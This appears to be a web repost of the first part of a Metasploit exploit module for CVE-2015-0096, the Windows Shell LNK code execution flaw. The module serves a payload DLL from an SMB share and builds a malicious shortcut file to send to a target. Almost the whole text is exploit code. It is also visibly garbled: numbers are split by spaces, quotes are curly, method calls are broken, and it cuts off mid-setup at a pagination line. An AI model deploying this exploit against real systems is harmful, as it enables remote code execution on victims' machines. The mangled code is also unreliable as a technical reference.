[CVE-2 0 1 5-0 0 9 6]Microsoft Windows Shell SMB LNK Code Execution Exploit-vulnerability warning-the black bar safety net

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::SMB::Server::Share

attr_accessor :exploit_dll_name

def initialize(info = {})
super(update_info(info,
‘Name’ => ‘Microsoft Windows Shell LNK Code Execution’,
‘Description’ => %q{
This module exploits a vulnerability in the MS10-0 4 6 patch to abuse (again) the handling
of Windows Shortcut files (. LNK) that contain an icon resource pointing to a malicious
DLL. This creates an SMB resource is to provide the payload and the trigger, and generates a
LNK file which must be sent to the target. This module has been tested successfully on
Windows 2 0 0 3 SP2 with MS10-0 4 6 installed and Windows 2 0 0 8 SP2 (3 2 bits) with MS14-0 2 7
installed.
},
‘Author’ =>
[
‘Michael Heerklotz’, # Vulnerability discovery
‘juan vazquez’ # msf module
],
‘License’ => MSF_LICENSE,
‘References’ =>
[
[‘CVE’, ‘2015-0096’],
[‘MSB’, ‘MS15-0 2 0’],
[‘URL’, ‘http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/6718459#.VQBOymTF9so’],
[‘URL’, ‘https://github.com/rapid7/metasploit-framework/pull/4911’] # How to guide here
],
‘DefaultOptions’ =>
{
‘EXITFUNC’ => ‘process’,
},
‘Payload’ =>
{
‘Space’ => 2 0 4 8,
},
‘Platform’ => ‘win’,
‘Targets’ =>
[
[ ‘Automatic’, { } ]
],
‘DisclosureDate’ => ‘Mar 1 0 2 0 1 5’,
‘DefaultTarget’ => 0))

register_options(
[
OptString. new(‘FILENAME’, [true, ‘The LNK file’, ‘msf. lnk’])
], self.class)

register_advanced_options(
[
OptBool. new(‘DisablePayloadHandler’, [false, ‘Disable the handler code for the selected payload’, false])
], self.class)

deregister_options(‘FILE_CONTENTS’, ‘FILE_NAME’)
end

def smb_host
"\\\\#{srvhost}\\#{share}\"
end

def setup
super

self. file_contents = generate_payload_dll
random_char = rand_text_alpha(1)
self. file_name = “#{random_char}. dll”
prefix = “#{random_char}”
random_length = 2 5 7 - smb_host. length - file_name. length - prefix. length
self. exploit_dll_name = “#{prefix}#{rand_text_alpha(random_length)}#{file_name}”

[1] [2] next